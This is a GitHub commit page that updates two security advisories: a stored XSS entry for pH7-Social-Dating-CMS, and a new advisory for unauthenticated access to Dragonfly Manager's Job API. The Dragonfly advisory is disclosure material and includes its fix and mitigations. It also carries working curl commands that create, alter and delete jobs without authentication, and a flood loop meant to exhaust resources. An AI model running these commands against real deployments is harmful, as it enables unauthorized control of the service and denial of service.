Skip to content

Commit 132bec0

Browse files
1 parent 2c217dd commit 132bec0

2 files changed

Lines changed: 84 additions & 4 deletions

File tree

advisories/unreviewed/2026/01/GHSA-657c-wxg6-jmqv/GHSA-657c-wxg6-jmqv.json renamed to advisories/github-reviewed/2026/01/GHSA-657c-wxg6-jmqv/GHSA-657c-wxg6-jmqv.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-657c-wxg6-jmqv",
4-
"modified": "2026-01-14T21:34:10Z",
4+
"modified": "2026-01-22T18:04:53Z",
55
"published": "2026-01-14T18:31:37Z",
66
"aliases": [
77
"CVE-2025-63644"
88
],
9+
"summary": "pH7-Social-Dating-CMS affected by a stored cross-site scripting (XSS) vulnerability",
910
"details": "A stored cross-site scripting (XSS) vulnerability exists in pH7Software pH7-Social-Dating-CMS 17.9.1 in the user profile Description field.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ph7software/ph7builder"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "17.9.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -23,6 +44,10 @@
2344
"type": "WEB",
2445
"url": "https://drive.google.com/drive/folders/1mYDvUTnlTPCGTB-7tHD3pmu_wHtlMVRP"
2546
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pH7Software/pH7-Social-Dating-CMS"
50+
},
2651
{
2752
"type": "WEB",
2853
"url": "https://medium.com/@rudranshsinghrajpurohit/cve-2025-63644-stored-cross-site-scripting-xss-vulnerability-in-ph7-social-dating-cms-23ed0e7eb853"
@@ -33,8 +58,8 @@
3358
"CWE-79"
3459
],
3560
"severity": "MODERATE",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-01-22T18:04:53Z",
3863
"nvd_published_at": "2026-01-14T18:16:41Z"
3964
}
4065
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j8hf-cp34-g4j7",
4+
"modified": "2026-01-22T18:04:07Z",
5+
"published": "2026-01-22T18:04:07Z",
6+
"aliases": [],
7+
"summary": "Dragonfly Manager Job API Unauthenticated Access",
8+
"details": "## Summary\n\nDragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.\n\n## Affected Products\n\n- **Product**: Dragonfly\n- **Component**: Manager (REST API)\n- **Affected Versions**: v2.x (based on source code analysis, including v2.4.0)\n- **Affected Endpoints**: `/api/v1/jobs`\n\n## Vulnerability Details\n\n### Description\n\nDragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:\n\n1. **List all jobs** (GET `/api/v1/jobs`)\n2. **Create new jobs** (POST `/api/v1/jobs`)\n3. **Query job details** (GET `/api/v1/jobs/:id`)\n4. **Modify jobs** (PATCH `/api/v1/jobs/:id`)\n5. **Delete jobs** (DELETE `/api/v1/jobs/:id`)\n\n### Technical Root Cause\n\nIn the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware:\n\n```go\n// TODO Add auth to the following routes and fix the tests.\n// Job.\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\nIn contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication:\n\n```go\n// manager/router/router.go:143\nc := apiv1.Group(\"/clusters\", jwt.MiddlewareFunc(), rbac)\n```\n\nThe developer left a TODO comment in the code, indicating this is a known but unresolved issue.\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (Kind/Minikube/GKE, etc.)\n- Helm 3.8.0+\n- kubectl\n- curl and jq\n\n#### Deployment Steps\n\n1. **Add Dragonfly Helm Repository**\n```bash\nhelm repo add dragonfly https://dragonflyoss.github.io/helm-charts/\nhelm repo update\n```\n\n2. **Generate Deployment Manifest**\n```bash\nhelm template dragonfly dragonfly/dragonfly \\\n --namespace dragonfly-system \\\n --set manager.replicas=1 \\\n --set scheduler.replicas=1 \\\n --set seedClient.replicas=1 \\\n --set client.enable=false > /tmp/dragonfly-manifest.yaml\n```\n\n3. **Deploy to Kubernetes**\n```bash\nkubectl create namespace dragonfly-system\nkubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system\nkubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s\n```\n\n**Expected Output**:\n```\nnamespace/dragonfly-system created\n[... resource creation messages ...]\npod/dragonfly-manager-5cc788d64b-grpbk condition met\npod/dragonfly-mysql-0 condition met\npod/dragonfly-redis-master-0 condition met\npod/dragonfly-scheduler-0 condition met\npod/dragonfly-seed-client-0 condition met\n```\n\n4. **Setup Port Forwarding**\n```bash\nkubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &\n```\n\n### Exploitation Steps\n\n#### Step 1: Verify Unauthenticated Access\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Actual Output**:\n```json\n[]\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication.\n\n#### Step 2: Create Unauthorized Job\n\n**Command**:\n```bash\ncurl -s -X POST http://localhost:8080/api/v1/jobs \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"type\": \"preheat\",\n \"args\": {\n \"type\": \"file\",\n \"url\": \"http://example.com/test-file.txt\"\n },\n \"scheduler_cluster_ids\": [1]\n }' | jq .\n```\n\n**Actual Output**:\n```json\n{\n \"id\": 2,\n \"created_at\": \"2026-01-17T16:34:22.497Z\",\n \"updated_at\": \"2026-01-17T16:34:22.497Z\",\n \"task_id\": \"group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9\",\n \"type\": \"preheat\",\n \"state\": \"PENDING\",\n \"args\": {\n \"type\": \"file\",\n \"url\": \"http://example.com/test-file.txt\",\n \"scope\": \"single_seed_peer\",\n \"timeout\": 3600000000000\n },\n \"user_id\": 0,\n \"scheduler_clusters\": [\n {\n \"id\": 1,\n \"name\": \"cluster-1\",\n \"is_default\": true\n }\n ]\n}\n```\n\n**HTTP Status Code**: `200 OK`\n\n**Analysis**: Successfully created a Job (ID: 2) without any authentication token.\n\n#### Step 3: Query Job Details\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'\n```\n\n**Actual Output**:\n```json\n2\n\"preheat\"\n\"PENDING\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 4: Modify Job\n\n**Command**:\n```bash\ncurl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \\\n -H \"Content-Type: application/json\" \\\n -d '{\"bio\": \"Modified by unauthenticated attacker\"}' | jq '.id, .bio'\n```\n\n**Actual Output**:\n```json\n2\n\"Modified by unauthenticated attacker\"\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 5: Delete Job\n\n**Command**:\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" -X DELETE http://localhost:8080/api/v1/jobs/2\n```\n\n**Actual Output**:\n```\n200\n```\n\n**HTTP Status Code**: `200 OK`\n\n#### Step 6: Comparison Test - Authenticated Endpoint\n\n**Command**:\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/clusters | jq .\n```\n\n**Actual Output**:\n```json\n{\n \"message\": \"Unauthorized\"\n}\n```\n\n**HTTP Status Code**: `401 Unauthorized`\n\n**Analysis**: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.\n\n### Automated POC Script\n\nComplete automated verification script available at:\n- Script: `poc.sh`\n- Output Log: `poc_output.log`\n\n**Execution Summary**:\n```\n[Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE\n[Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2)\n[Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE\n[Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test)\n```\n\n## Impact Analysis\n\n### Direct Impact\n\n1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations)\n2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic\n3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services\n4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS)\n\n### Potential Attack Scenarios\n\n1. **Resource Exhaustion Attack**\n```bash\n# Create 10,000 jobs to exhaust resources\nfor i in $(seq 1 10000); do\n curl -X POST http://manager:8080/api/v1/jobs \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"type\\\":\\\"preheat\\\",\\\"args\\\":{\\\"type\\\":\\\"file\\\",\\\"url\\\":\\\"http://example.com/file-${i}.txt\\\"},\\\"scheduler_cluster_ids\\\":[1]}\" &\ndone\n```\n\n2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)\n\n3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality\n\n### Affected Deployment Scenarios\n\n- Manager API exposed on the public internet or untrusted networks\n- Malicious users or compromised systems in internal networks\n- Tenant isolation failures in multi-tenant environments\n\n## Remediation\n\n### Recommended Fix\n\nAdd authentication and authorization middleware to the Job API in the `manager/router/router.go` file:\n\n```go\n// Before Fix (lines 204-211)\njob := apiv1.Group(\"/jobs\")\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n\n// After Fix\njob := apiv1.Group(\"/jobs\", jwt.MiddlewareFunc(), rbac)\njob.POST(\"\", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)\njob.DELETE(\":id\", h.DestroyJob)\njob.PATCH(\":id\", h.UpdateJob)\njob.GET(\":id\", h.GetJob)\njob.GET(\"\", h.GetJobs)\n```\n\n### Temporary Mitigation\n\nBefore the fix is released, the following mitigation measures can be taken:\n\n1. **Network Isolation**: Restrict network access to the Manager API\n - Use firewall rules to limit source IPs\n - Only allow trusted internal networks to access\n - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication\n\n2. **API Gateway**: Deploy an API gateway in front of Manager for authentication\n - Use reverse proxies like Nginx/Kong/Traefik\n - Configure OAuth2/JWT validation\n\n3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API\n - Log all Job API calls\n - Set up alerts for abnormal job creation/deletion\n\n### Verify Fix\n\nAfter the fix, all unauthenticated requests should return `401 Unauthorized`:\n\n```bash\ncurl -s -X GET http://localhost:8080/api/v1/jobs\n```\n\n**Expected Output**:\n```json\n{\n \"message\": \"Unauthorized\"\n}\n```\n\n\n\n## Appendix: Complete Verification Logs\n\n### Deployment Verification Logs\n\n```bash\n$ kubectl -n dragonfly-system get pods\nNAME READY STATUS RESTARTS AGE\ndragonfly-manager-5cc788d64b-grpbk 1/1 Running 0 5m\ndragonfly-mysql-0 1/1 Running 0 5m\ndragonfly-redis-master-0 1/1 Running 0 5m\ndragonfly-redis-replicas-0 1/1 Running 0 5m\ndragonfly-scheduler-0 1/1 Running 0 5m\ndragonfly-seed-client-0 1/1 Running 0 5m\n\n$ kubectl -n dragonfly-system get svc dragonfly-manager\nNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE\ndragonfly-manager ClusterIP 10.96.240.126 <none> 8080/TCP,65003/TCP 5m\n```\n\n### POC Execution Complete Logs\n\nSee `poc_output.log` file for details.\n```\n==========================================\nVUL-001: Job API Unauthenticated Access POC\n==========================================\n\n[Test 1] GET /api/v1/jobs (No Authentication)\nHTTP Status: 200\nResponse: []\n✅ VULNERABLE: Endpoint accessible without authentication\n\n[Test 2] POST /api/v1/jobs (No Authentication)\nHTTP Status: 200\nJob ID: 2\n✅ VULNERABLE: Job created without authentication\n\n[Test 3] GET /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job details accessible without authentication\n\n[Test 4] PATCH /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job updated without authentication\n\n[Test 5] DELETE /api/v1/jobs/2 (No Authentication)\nHTTP Status: 200\n✅ VULNERABLE: Job deleted without authentication\n\n[Test 6] GET /api/v1/clusters (Should Require Authentication)\nHTTP Status: 401\nResponse: {\"message\":\"Unauthorized\"}\n✅ EXPECTED: Endpoint correctly requires authentication\n\n==========================================\nPOC Execution Complete\n==========================================\n\n```\n---",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "d7y.io/dragonfly/v2"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.4.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-j8hf-cp34-g4j7"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/dragonflyoss/dragonfly"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-306"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-01-22T18:04:07Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)